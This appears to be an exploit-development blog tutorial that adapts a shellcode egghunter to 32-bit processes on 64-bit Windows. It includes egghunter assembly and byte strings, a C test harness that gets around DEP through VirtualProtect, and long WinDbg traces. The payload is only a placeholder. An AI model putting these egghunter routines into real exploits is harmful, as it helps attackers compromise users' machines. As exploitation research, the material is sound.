22,872 views
WoW64 Egghunter
Traditional Egghunter
An Egghunter is nothing more than an assembly routine to find shellcode somewhere in memory. We typically deploy an Egghunter when there is no more room in our buffer that we can use to initially redirect EIP to. If we are able to load our shellcode elsewhere in process memory, the Egghunter will search for it, and jump to it.
There are 2 major objectives for an Egghunter:
- It has to find our shellcode in memory and run it (pretty obvious)
- It needs to be able to survive reading memory locations that are not readable.
Peter wrote a great tutorial covering Egghunter’s from top to bottom.
Today I will particularly focus on Skape’s original Egghunter which checks an area in memory to see if it’s readable by issuing a system call, returning an error code reflecting the access level of the address that was passed as one of the arguments to the system call, and then comparing the outcome in the Egghunter itself through some conditional jumps. If you are familiar (or have read Peter’s tutorial), you should recognize this few lines of assembly :
6681CAFF0F or dx,0x0fff ; get last address in page 42 inc edx ; acts as a counter ;(increments the value in EDX) 52 push edx ; pushes edx value to the stack ;(saves our current address on the stack) 6A43 push byte +0x2 ; push 0x2 for NtAccessCheckAndAuditAlarm ; or 0x43 for NtDisplayString to stack 58 pop eax ; pop 0x2 or 0x43 into eax ; so it can be used as parameter ; to syscall - see next CD2E int 0x2e ; tell the kernel i want a do a ; syscall using previous register 3C05 cmp al,0x5 ; check if access violation occurs ;(0xc0000005== ACCESS_VIOLATION) 5 5A pop edx ; restore edx 74EF je xxxx ; jmp back to start dx 0x0fffff B890509050 mov eax,0x50905090 ; this is the tag (egg) 8BFA mov edi,edx ; set edi to our pointer AF scasd ; compare for status 75EA jnz xxxxxx ; (back to inc edx) check egg found or not AF scasd ; when egg has been found 75E7 jnz xxxxx ; (jump back to "inc edx") ; if only the first egg was found FFE7 jmp edi
Before issuing the interrupt call, you notice that we put 0x2 into EAX which is the desired system call number associated with NtAccessCheckAndAuditAlarm.
Then we use int 2e, which is a software interrupt that triggers a switch from user mode to kernel mode (to invoke syscalls). If we take a look at the system call stub, we have the option to call NtAccessCheckAndAuditAlarm via either int 2e or sysenter. The latter may require a bit more work, but technically it would work.
Much has been said and done around egghunters already, and variations on egghunters (such as omelet hunters), no need to repeat that. But in todays environments, we can ask ourselves a few questions.
These questions essentially are:
- What about running 32 bit applications on 64 bit systems? Will our Egghunter work?
- What is so special about that environment ?
- Why would we even bother about 32bit applications on a 64bit version of the windows operating system?
Well, the last question can be answered very easily. Increasingly more people are using 64bit of the Windows operating system. New computers usually get delivered with a 64bit version of Windows 7, but the reality is that in most cases, the majority of the applications people install and use are still 32bit versions.
Exploits for that environment are no different than the ones running on a 32bit version of the Windows operating system. You may have to deal with DEP in certain cases, but that is not a result of 64bit as such. Just keep in mind that these 32 bit applications run inside an additional layer called WoW64.
Answering the other questions requires a little bit more work.
Research Time!
There is a good article on Wikipedia explaining WoW64 system and on MSDN.
From MSDN:
At startup, Wow64.dll loads the x86 version of Ntdll.dll and runs its initialization code, which loads all necessary 32-bit DLLs. Almost all 32-bit DLLs are unmodified copies of 32-bit Windows binaries. However, some of these DLLs are written to behave differently on WOW64 than they do on 32-bit Windows, usually because they share memory with 64-bit system components.
So to test this out I am going to use our existing Egghunter, run it inside a 32bit process on a 64bit operating system and see what the issues are going to be.
We can create a small program and compile it with a 32 bit compiler and run it on our 64 bit host. For this example this C program will bypass DEP using a call to VirtualProtect and run the standard 32 bit Egghunter bytes. (The DEP bypass is only needed if you have DEP enabled in OptOut or AlwaysOn mode, which is the case on my Windows 7 64bit test machine… in any case, it doesn’t do any harm or change anything to the egghunter itself)
The ‘shellcode’ used is just a placeholder. It contains the double tag used for the egghunter to locate the shellcode in memory, followed by 4 simple instructions and a breakpoint.
In order to prevent that we are going to use the egghunter to find it, and not just slide through and execute the shellcode placed after the egghunter on the stack, we have put some breakpoints before the double tag.
#include#include #include using namespace std; char code[]= //32 bit tradional egghunter "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" "\x77\x30\x30\x74" //w00t "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7" //SC PAYLOAD "\xcc\xcc\xcc\xcc\x77\x30\x30\x74" "\x77\x30\x30\x74\x41\x42\x43\x44\xcc"; int main(int argc, char **argv) { DWORD old; VirtualProtect(&code, 500, PAGE_EXECUTE_READWRITE, &old); int (*func)(); func = (int (*)()) code; (int)(*func)(); }
Compile the application, but don’t run it yet.
Launch the 64bit version of Windbg, and open the newly created executable in WinDbg .
By the way : To install WinDbg and retrieve all the symbols go here.
If we do a dump on our loaded modules we can see the WoW64 dynamic linked libraries it uses.
ModLoad: 00000000`00400000 00000000`00449000 image00000000`00400000 ModLoad: 00000000`77910000 00000000`77ab9000 ntdll.dll ModLoad: 00000000`77af0000 00000000`77c70000 ntdll32.dll ModLoad: 00000000`75130000 00000000`7516f000 C:\Windows\SYSTEM32\wow64.dll ModLoad: 00000000`750d0000 00000000`7512c000 C:\Windows\SYSTEM32\wow64win.dll ModLoad: 00000000`750c0000 00000000`750c8000 C:\Windows\SYSTEM32\wow64cpu.dll 0:000> g ModLoad: 00000000`77440000 00000000`7755f000 WOW64_IMAGE_SECTION ModLoad: 00000000`766e0000 00000000`767f0000 WOW64_IMAGE_SECTION ModLoad: 00000000`77440000 00000000`7755f000 NOT_AN_IMAGE ModLoad: 00000000`776b0000 00000000`777aa000 NOT_AN_IMAGE ModLoad: 00000000`766e0000 00000000`767f0000 C:\Windows\syswow64\kernel32.dll ModLoad: 00000000`77080000 00000000`770c6000 C:\Windows\syswow64\KERNELBASE.dll ModLoad: 00000000`73d20000 00000000`73d54000 C:\Program Files\AVAST Software\Avast\snxhk.dll ModLoad: 00000000`768c0000 00000000`7696c000 C:\Windows\syswow64\msvcrt.dll 0:000:x86> lm start end module name 00400000 00449000 image00000000_00400000 (deferred) 73d20000 73d54000 snxhk (deferred) 750c0000 750c8000 wow64cpu (deferred) 750d0000 7512c000 wow64win (deferred) 75130000 7516f000 wow64 (deferred) 766e0000 767f0000 kernel32 (deferred) 768c0000 7696c000 msvcrt (deferred) 77080000 770c6000 KERNELBASE (deferred) 77910000 77ab9000 ntdll (export symbols) C:\Windows\SYSTEM32\ntdll.dll 77af0000 77c70000 ntdll32 (export symbols) ntdll32.dll
We go ahead and set a break point at the beginning of our Egghunter bytes.
On my PC this address is 0x43f000.
Run the application, which should hit the breakpoint you just set.
Now, when stepping through our code, we see an access violation :
Lets go ahead and analyze what’s going on
It looks like the command ‘int 2e’ is not able to be passed in our WoW64 environment. In short, this means that ‘int 2e’ doesn’t seem to work the way it did in a purely 32bit environment. That’s a bummer, because we need the syscall to determine if a page is readable before trying to read it. If we can’t do that, the egghunter would die as soon as it tries to read from a non-readable memory location.
So how exactly are system calls processed in Wow64? There must be a way to be able to call NtAccessCheckAndAuditAlarm in the WoW64 environment? I bet you are asking yourself the same questions I just raised.
I decided to search Google and found some pretty handy resources:
- http://www.nynaeve.net/?p=131
- http://blog.oxff.net/#2sapnfkthvpzjscp3xwq
- http://blog.rewolf.pl/blog/?p=102
- http://vx.netlux.org/lib/vrg02.html
On a 64 bit system running a 32 bit compiled application, we see that instead of calling a system call stub to our system calls, we appear to be calling an offset located in TEB, 0xC0 (call dword fs:[C0]).
If we look at TEB 0x0C we see “WOW32 Reserved”. If we then point to that call and execute we the see the bytes at TEB 0x0C is a jump.
0:000:x86> u wow64cpu!X86SwitchTo64BitMode wow64cpu!X86SwitchTo64BitMode: 74952320 ea1e2795743300 jmp 0033:7495271E
We are doing a far jump and we are going to jump into 64bit mode.
Time to create a new Egghunter
Right. So we know the classic Egghunter is not working, but we are starting to see how system calls can be issued in a WoW64 bit environment.
After all, we need the system call to be able to survive access violations when the Egghunter is running.
Let’s go ahead and make a basic Egghunter based on our call setup into wow64cpu!X86SwitchTo64BitMode:
0:000:x86> u ntdll32!NtAccessCheckAndAuditAlarm ntdll32!NtAccessCheckAndAuditAlarm: 7715fc58 b826000000 mov eax,26h 7715fc5d 33c9 xor ecx,ecx 7715fc5f 8d542404 lea edx,[esp+4] 7715fc63 64ff15c0000000 call dword ptr fs:[0C0h] 7715fc6a 83c404 add esp,4 7715fc6d c22c00 ret 2Ch
This will be our skeleton Egghunter:
[BITS 32] egg: OR DX,0x0FFF INC EDX PUSH EDX PUSH BYTE 38 ;NtAccessCheckAndAuditAlarm POP EAX XOR ECX,ECX MOV EDX,ESP ;begin reading parameters off the stack CALL DWORD [FS:0xc0] POP ESI ;clear call off stack POP EDX ;pop search value back into edx CMP AL,5 JE egg MOV EAX, 0x74303077 MOV EDI,EDX SCASD JNZ egg + 5 SCASD JNZ egg + 5 JMP EDI
If we run that through nasm our shellcode bytes will be:
\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x26\x58\x31\xC9\x89\xE2 \x64\xFF\x15\xC0\x00\x00\x00\x5E\x5A\x3C\x05\x74\xE5\xB8 \x77\x30\x30\x74\x89\xD7\xAF\x75\xE0\xAF\x75\xDD\xFF\xE7
Right off the bat we have an issue, we have null bytes. Well, it’s not a technical issue, but as null bytes are often dealbreakers in exploits, ideally we should try to prevent them.
We can deal with that later and lets go ahead and run this.
When running the new code, at first I received an access violation. I decided to ignore it and to continue tracing through.
The below screen shot is of a log capture in Immunity after changing the Debugging Options and under Exceptions and selecting ‘Add last exception’ to ignore.
Take a look at the addresses mentioned in the Immunity Log…. This is not good – it looks like we are not properly reading memory in a sequential way.
It appears that other parameters on the stack are being passed into our call and causing our code to break when we are trying to read a valid address (more on that later).
Let’s start off with our first exception when we run the same code through 64 bit WinDbg.
wow64!whNtAccessCheckAndAuditAlarm+0xc9: 00000000`75145d71 418b4004 mov eax,dword ptr [r8+4] ds:00000000`000001f8=????????
If we break down wow64!whNtAccessCheckAndAuditAlarm we can see what’s going on:
wow64!whNtAccessCheckAndAuditAlarm: 00000000`75145ca8 4c8bdc mov r11,rsp 00000000`75145cab 49895b10 mov qword ptr [r11+10h],rbx 00000000`75145caf 49897318 mov qword ptr [r11+18h],rsi 00000000`75145cb3 57 push rdi 00000000`75145cb4 4154 push r12 00000000`75145cb6 4155 push r13 00000000`75145cb8 4156 push r14 00000000`75145cba 4157 push r15 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x14: 00000000`75145cbc 4881ecb0000000 sub rsp,0B0h 00000000`75145cc3 488b0536340200 mov rax,qword ptr [wow64!_security_cookie (00000000`75169100)] 00000000`75145cca 4833c4 xor rax,rsp 00000000`75145ccd 48898424a0000000 mov qword ptr [rsp+0A0h],rax 00000000`75145cd5 448b4904 mov r9d,dword ptr [rcx+4] 00000000`75145cd9 8b5108 mov edx,dword ptr [rcx+8] 00000000`75145cdc 448b410c mov r8d,dword ptr [rcx+0Ch] 00000000`75145ce0 448b5110 mov r10d,dword ptr [rcx+10h] 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x3c: 00000000`75145ce4 448b6914 mov r13d,dword ptr [rcx+14h] 00000000`75145ce8 448b7118 mov r14d,dword ptr [rcx+18h] 00000000`75145cec 448a791c mov r15b,byte ptr [rcx+1Ch] 00000000`75145cf0 8b4120 mov eax,dword ptr [rcx+20h] 00000000`75145cf3 89442468 mov dword ptr [rsp+68h],eax 00000000`75145cf7 8b4124 mov eax,dword ptr [rcx+24h] 00000000`75145cfa 89442464 mov dword ptr [rsp+64h],eax 00000000`75145cfe 8b4128 mov eax,dword ptr [rcx+28h] 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x59: 00000000`75145d01 89442460 mov dword ptr [rsp+60h],eax 00000000`75145d05 33db xor ebx,ebx 00000000`75145d07 3919 cmp dword ptr [rcx],ebx 00000000`75145d09 7420 je wow64!whNtAccessCheckAndAuditAlarm+0x83 (00000000`75145d2b) 00000000`75145d0b 498d7398 lea rsi,[r11-68h] 00000000`75145d0f 8b09 mov ecx,dword ptr [rcx] 00000000`75145d11 8b4104 mov eax,dword ptr [rcx+4] 00000000`75145d14 498943a0 mov qword ptr [r11-60h],rax 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x70: 00000000`75145d18 0fb74102 movzx eax,word ptr [rcx+2] 00000000`75145d1c 6689442472 mov word ptr [rsp+72h],ax 00000000`75145d21 0fb701 movzx eax,word ptr [rcx] 00000000`75145d24 6689442470 mov word ptr [rsp+70h],ax 00000000`75145d29 eb03 jmp wow64!whNtAccessCheckAndAuditAlarm+0x86 (00000000`75145d2e) 00000000`75145d2b 488bf3 mov rsi,rbx 00000000`75145d2e 4d8be1 mov r12,r9 00000000`75145d31 3bd3 cmp edx,ebx 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x8b: 00000000`75145d33 742c je wow64!whNtAccessCheckAndAuditAlarm+0xb9 (00000000`75145d61) 00000000`75145d35 488dbc2480000000lea rdi,[rsp+80h] 00000000`75145d3d 8b4204 mov eax,dword ptr [rdx+4] 00000000`75145d40 4889842488000000mov qword ptr [rsp+88h],rax 00000000`75145d48 0fb74202 movzx eax,word ptr [rdx+2] 00000000`75145d4c 6689842482000000mov word ptr [rsp+82h],ax 00000000`75145d54 0fb702 movzx eax,word ptr [rdx] 00000000`75145d57 6689842480000000mov word ptr [rsp+80h],ax 0:000> wow64!whNtAccessCheckAndAuditAlarm+0xb7: 00000000`75145d5f eb03 jmp wow64!whNtAccessCheckAndAuditAlarm+0xbc (00000000`75145d64) 00000000`75145d61 488bfb mov rdi,rbx 00000000`75145d64 443bc3 cmp r8d,ebx 00000000`75145d67 742d je wow64!whNtAccessCheckAndAuditAlarm+0xee (00000000`75145d96) 00000000`75145d69 488d9c2490000000 lea rbx,[rsp+90h] 00000000`75145d71 418b4004 mov eax,dword ptr [r8+4] 00000000`75145d75 4889842498000000 mov qword ptr [rsp+98h],rax 00000000`75145d7d 410fb74002 movzx eax,word ptr [r8+2] 0:000> wow64!whNtAccessCheckAndAuditAlarm+0xda: 00000000`75145d82 6689842492000000 mov word ptr [rsp+92h],ax 00000000`75145d8a 410fb700 movzx eax,word ptr [r8] 00000000`75145d8e 6689842490000000 mov word ptr [rsp+90h],ax 00000000`75145d96 498bca mov rcx,r10 00000000`75145d99 e87251ffff call wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC (00000000`7513af10) 00000000`75145d9e 488bd0 mov rdx,rax 00000000`75145da1 8b442468 mov eax,dword ptr [rsp+68h] 00000000`75145da5 448b5c2464 mov r11d,dword ptr [rsp+64h]
In green we have instructions/conditions that will be used to check in memory if the address is readable or not in wow64!whNtAccessCheckAndAuditAlarm.
Our first comparison inside wow64!whNtAccessCheckAndAuditAlarm will set EBX to 0 (EBX will also be used for the other comparisons later in the function) and then compare it to the values located in [RCX]. [RCX] will contain the address of the top of the stack frame. This is when we set EDX to ESP during our Egghunter stub when we switched to WoW64. This top stack address will contain the pointer to the address we want to validate whether it’s “readable” or not, and to determine if our egghunter should start looking in that page of memory, or move onto the next page. This also means that [RCX + offset] will also contain other pointers picked up from the stack which we will have to deal with later since they are also evaluated in this function and used as parameters. The values at [RCX +offset] will eventually be moved into different registers, and various condition checks will be done. Since we control all these values, we can control all the conditions.
So recapping the first parameter read from [RCX] will be our “check whether address exists or not”, and we don’t want to change this parameter. The other parameters are not needed for us to successfully execute our egghunter, and we will need to modify them before passing them to wow64!whNtAccessCheckAndAuditAlarm, more on that in a bit.
Let’s look at our stack parameters in EDX before our far jump, and then trace where we will then setup those same parameters in wow64!whNtAccessCheckAndAuditAlarm.Then we can find out what values to put in them to influence the condition we want meet, and to eventually get to our system call.
0:000:x86> r eax=00000026 ebx=00004000 ecx=00000000 edx=0028ff08 esi=00000000 edi=00000000 eip=0043f00e esp=0028ff08 ebp=0028ff48 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 image00000000_00400000+0x3f00e: 0043f00e 64ff15c0000000 call dword ptr fs:[0C0h] fs:0053:000000c0=00000000 0:000:x86> dds esp 0028ff08 0008f000 0028ff0c 004013ec image00000000_00400000+0x13ec 0028ff10 0043f000 image00000000_00400000+0x3f000 0028ff14 000001f4 0028ff18 00000040 0028ff1c 0028ff44 0:000:x86> g wow64!whNtAccessCheckAndAuditAlarm+0x31 wow64!whNtAccessCheckAndAuditAlarm+0x31: 00000000`75145cd9 8b5108 mov edx,dword ptr [rcx+8] ds:00000000`0028ff10=0043f000 0:000> t wow64!whNtAccessCheckAndAuditAlarm+0x34: 00000000`75145cdc 448b410c mov r8d,dword ptr [rcx+0Ch] ds:00000000`0028ff14=000001f4
Notice that EBX and RCX points to the top of our stack before doing our far jump.
0:000> t wow64!whNtAccessCheckAndAuditAlarm+0x38: 00000000`75145ce0 448b5110 mov r10d,dword ptr [rcx+10h] ds:00000000`0028ff18=00000040 0:000> r rax=000000007459d16e rbx=000000000028ff08 rcx=000000000028ff08 rdx=000000000043f000 rsi=000000007efdb000 rdi=000000007efdd000 rip=0000000075145ce0 rsp=000000000008e270 rbp=000000000028ff48 r8=00000000000001f4 r9=00000000004013ec r10=000000007516aa00 r11=000000000008e348 r12=0000000075145ca8 r13=000000000008fd20 r14=000000000008ec80 r15=00000000750c2450 iopl=0 nv up ei pl nz na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 wow64!whNtAccessCheckAndAuditAlarm+0x38: 00000000`75145ce0 448b5110 mov r10d,dword ptr [rcx+10h] ds:00000000`0028ff18=00000040 0:000> dds rcx 00000000`0028ff08 0008f000 00000000`0028ff0c 004013ec image00000000_00400000+0x13ec 00000000`0028ff10 0043f000 image00000000_00400000+0x3f000 00000000`0028ff14 000001f4 00000000`0028ff18 00000040 00000000`0028ff1c 0028ff44
Once we step through once more we will have loaded our two conditional registers that will be tested with EBX once it’s zeroed (see in green above).
So what if we were able to manipulate these conditional tests since we control the parameters being passed onto the stack?
To do this lets just edit our second conditional test “cmp edx,ebx”. We will rerun the program and before our far jump we will change the data at location 0x0028ff10
0:000:x86> g 0043f00e image00000000_00400000+0x3f00e: 0043f00e 64ff15c0000000 call dword ptr fs:[0C0h] fs:0053:000000c0=00000000 0:000:x86> ed 0028ff10 00000000 0:000:x86> dds esp 0028ff08 0008f000 0028ff0c 004013ec image00000000_00400000+0x13ec 0028ff10 00000000 0028ff14 000001f4 0028ff18 00000040 0028ff1c 0028ff44 0:000:x86> g wow64!whNtAccessCheckAndAuditAlarm+0x89 wow64!whNtAccessCheckAndAuditAlarm+0x89: 00000000`75145d31 3bd3 cmp edx,ebx 0:000> t wow64!whNtAccessCheckAndAuditAlarm+0x8b: 00000000`75145d33 742c je wow64!whNtAccessCheckAndAuditAlarm+0xb9 (00000000`75145d61) [br=1]
This time our condition is true so we will jump over the blue code (see above) I highlighted before. However our third condition is not met and we receive our same error as before, but we were able to control some of the flow of execution in that function and ended up jumping from wow64!whNtAccessCheckAndAuditAlarm+0x8b to wow64!whNtAccessCheckAndAuditAlarm+0xb9.
wow64!whNtAccessCheckAndAuditAlarm+0x8b: 00000000`75435d33 742c je wow64!whNtAccessCheckAndAuditAlarm+0xb9 (00000000`75435d61) [br=1] 0:000> t wow64!whNtAccessCheckAndAuditAlarm+0xb9: 00000000`75435d61 488bfb mov rdi,rbx 0:000> wow64!whNtAccessCheckAndAuditAlarm+0xbc: 00000000`75435d64 443bc3 cmp r8d,ebx 0:000> wow64!whNtAccessCheckAndAuditAlarm+0xbf: 00000000`75435d67 742d je wow64!whNtAccessCheckAndAuditAlarm+0xee (00000000`75435d96) [br=0] 0:000> wow64!whNtAccessCheckAndAuditAlarm+0xc1: 00000000`75435d69 488d9c2490000000 lea rbx,[rsp+90h] 0:000> wow64!whNtAccessCheckAndAuditAlarm+0xc9: 00000000`75435d71 418b4004 mov eax,dword ptr [r8+4] ds:00000000`000001f8=???????? 0:000> (1218.130c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled
Looking back at our original problem it seems will need to take care of both these stack arguments for our conditional jumps.
00000000`75435cd9 8b5108 mov edx,dword ptr [rcx+8] 00000000`75435cdc 448b410c mov r8d,dword ptr [rcx+0Ch]
Lets try it again setting doing both those stack arguments to zero and see how that plays out.
0:000:x86> t image00000000_00400000+0x3f00e: 0043f00e 64ff15c0000000 call dword ptr fs:[0C0h] fs:0053:000000c0=00000000 0:000:x86> ed 0028ff10 00000000 0:000:x86> ed 0028ff14 00000000 0:000:x86> g wow64!whNtAccessCheckAndAuditAlarm+0x89 wow64!whNtAccessCheckAndAuditAlarm+0x89: 00000000`75145d31 3bd3 cmp edx,ebx 0:000> t wow64!whNtAccessCheckAndAuditAlarm+0x8b: 00000000`75145d33 742c je wow64!whNtAccessCheckAndAuditAlarm+0xb9 (00000000`75145d61) [br=1] 0:000> wow64!whNtAccessCheckAndAuditAlarm+0xb9: 00000000`75145d61 488bfb mov rdi,rbx 0:000> wow64!whNtAccessCheckAndAuditAlarm+0xbc: 00000000`75145d64 443bc3 cmp r8d,ebx 0:000> wow64!whNtAccessCheckAndAuditAlarm+0xbf: 00000000`75145d67 742d je wow64!whNtAccessCheckAndAuditAlarm+0xee (00000000`75145d96) [br=1] 0:000> t wow64!whNtAccessCheckAndAuditAlarm+0xee: 00000000`75145d96 498bca mov rcx,r10 0:000> wow64!whNtAccessCheckAndAuditAlarm+0xf1: 00000000`75145d99 e87251ffff call wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC (00000000`7513af10) 0:000> wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC: 00000000`7513af10 4053 push rbx 0:000> wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x2: 00000000`7513af12 4883ec20 sub rsp,20h 0:000> wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x6: 00000000`7513af16 488bd9 mov rbx,rcx 0:000> wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x9: 00000000`7513af19 4885c9 test rcx,rcx 0:000> wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0xc: 00000000`7513af1c 7507 jne wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x15 (00000000`7513af25) [br=1] 0:000> wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x15: 00000000`7513af25 b800800000 mov eax,8000h 0:000> wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x1a: 00000000`7513af2a 66854102 test word ptr [rcx+2],ax ds:00000000`00000042=????
So we are now moving closer and we get to Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC which is our last setup before getting to our actual system call. It looks like there is one more parameter we need to control, R10.
To wrap it up we need to control 3 parameters on the stack, which will be used in the system call. The simplest way is to null them out or push 0 onto the stack. While this is not the most elegant approach, it’s a quick solve to our issue.
I’ll just use the built-in debugger memory edit to change the values on the stack for now.
0028ff08 0008f000 (our parameter we want to read if the address is readable or not) 0028ff0c 004013ec R9,(doesn’t appear to be affected whether readable or non-readable address is used, easier to push null to setup other params below) 0028ff10 0043f000 EDX,(if null condition will be true with EBX) 0028ff14 000001f4 R8, (if null condition will be true with EBX) 0028ff18 00000040 R10,(if null condition will be false on test rcx,rcx) 0:000:x86> ed 0028ff0c 00000000 0:000:x86> ed 0028ff10 00000000 0:000:x86> ed 0028ff14 00000000 0:000:x86> ed 0028ff18 00000000 0:000:x86> dds esp 0028ff08 0008f000 0028ff0c 00000000 0028ff10 00000000 0028ff14 00000000 0028ff18 00000000 wow64!whNtAccessCheckAndAuditAlarm+0x2d: 00000000`74965cd5 448b4904 mov r9d,dword ptr [rcx+4] ds:00000000`0028ff0c=00000000 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x31: 00000000`74965cd9 8b5108 mov edx,dword ptr [rcx+8] ds:00000000`0028ff10=00000000 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x34: 00000000`74965cdc 448b410c mov r8d,dword ptr [rcx+0Ch] ds:00000000`0028ff14=00000000 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x38: 00000000`74965ce0 448b5110 mov r10d,dword ptr [rcx+10h] ds:00000000`0028ff18=00000000
Let’s go ahead and rerun everything after changing our stack parameters
0:000:x86> g wow64!whNtAccessCheckAndAuditAlarm+0x89 wow64!whNtAccessCheckAndAuditAlarm+0x89: 00000000`75435d31 3bd3 cmp edx,ebx 0:000> t wow64!whNtAccessCheckAndAuditAlarm+0x8b: 00000000`75435d33 742c je wow64!whNtAccessCheckAndAuditAlarm+0xb9 (00000000`75435d61) [br=1] 0:000> wow64!whNtAccessCheckAndAuditAlarm+0xb9: 00000000`75435d61 488bfb mov rdi,rbx 0:000> wow64!whNtAccessCheckAndAuditAlarm+0xbc: 00000000`75435d64 443bc3 cmp r8d,ebx 0:000> wow64!whNtAccessCheckAndAuditAlarm+0xbf: 00000000`75435d67 742d je wow64!whNtAccessCheckAndAuditAlarm+0xee (00000000`75435d96) [br=1] 0:000> wow64!whNtAccessCheckAndAuditAlarm+0xee: 00000000`75435d96 498bca mov rcx,r10 0:000> wow64!whNtAccessCheckAndAuditAlarm+0xf1: 00000000`75435d99 e87251ffff call wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC (00000000`7542af10) 0:000> wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC: 00000000`7542af10 4053 push rbx 0:000> wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x2: 00000000`7542af12 4883ec20 sub rsp,20h 0:000> wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x6: 00000000`7542af16 488bd9 mov rbx,rcx 0:000> wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x9: 00000000`7542af19 4885c9 test rcx,rcx 0:000> wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0xc: 00000000`7542af1c 7507 jne wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x15 (00000000`7542af25) [br=0] 0:000> wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0xe: 00000000`7542af1e 33c0 xor eax,eax 0:000> wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x10: 00000000`7542af20 e986000000 jmp wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x9b (00000000`7542afab) 0:000> wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x9b: 00000000`7542afab 4883c420 add rsp,20h 0:000> wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x9f: 00000000`7542afaf 5b pop rbx 0:000> wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0xa0: 00000000`7542afb0 c3 ret 0:000> wow64!whNtAccessCheckAndAuditAlarm+0xf6: 00000000`75435d9e 488bd0 mov rdx,rax 0:000> wow64!whNtAccessCheckAndAuditAlarm+0xf9: 00000000`75435da1 8b442468 mov eax,dword ptr [rsp+68h] ss:00000000`0008e2d8=0028ff70 0:000> wow64!whNtAccessCheckAndAuditAlarm+0xfd: 00000000`75435da5 448b5c2464 mov r11d,dword ptr [rsp+64h] ss:00000000`0008e2d4=000000a0 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x102: 00000000`75435daa 448b542460 mov r10d,dword ptr [rsp+60h] ss:00000000`0008e2d0=00000098 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x107: 00000000`75435daf 4c89542450 mov qword ptr [rsp+50h],r10 ss:00000000`0008e2c0=0000000077ab04f0 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x10c: 00000000`75435db4 4c895c2448 mov qword ptr [rsp+48h],r11 ss:00000000`0008e2b8=000000000000008c 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x111: 00000000`75435db9 4889442440 mov qword ptr [rsp+40h],rax ss:00000000`0008e2b0=0000000077ab04f0 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x116: 00000000`75435dbe 44887c2438 mov byte ptr [rsp+38h],r15b ss:00000000`0008e2a8=8c 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x11b: 00000000`75435dc3 4c89742430 mov qword ptr [rsp+30h],r14 ss:00000000`0008e2a0=0000000077ab04f0 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x120: 00000000`75435dc8 44896c2428 mov dword ptr [rsp+28h],r13d ss:00000000`0008e298=82ac0004 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x125: 00000000`75435dcd 4889542420 mov qword ptr [rsp+20h],rdx ss:00000000`0008e290=0000000077ab056c 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x12a: 00000000`75435dd2 4c8bcb mov r9,rbx 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x12d: 00000000`75435dd5 4c8bc7 mov r8,rdi 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x130: 00000000`75435dd8 498bd4 mov rdx,r12 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x133: 00000000`75435ddb 488bce mov rcx,rsi 0:000> wow64!whNtAccessCheckAndAuditAlarm+0x136: 00000000`75435dde ff15acb5feff call qword ptr [wow64!_imp_NtAccessCheckAndAuditAlarm (00000000`75421390)] ds:00000000`75421390={ntdll!ZwAccessCheckAndAuditAlarm (00000000`777a15a0)} 0:000> ntdll!ZwAccessCheckAndAuditAlarm: 00000000`777a15a0 4c8bd1 mov r10,rcx 0:000> ntdll!ZwAccessCheckAndAuditAlarm+0x3: 00000000`777a15a3 b826000000 mov eax,26h 0:000> ntdll!ZwAccessCheckAndAuditAlarm+0x8: 00000000`777a15a8 0f05 syscall
We reached our system call! Just to confirm there are no other local variables to my computer or for our C program, I went back and manipulated the stack values and reran with non-readable addresses and it worked fine.
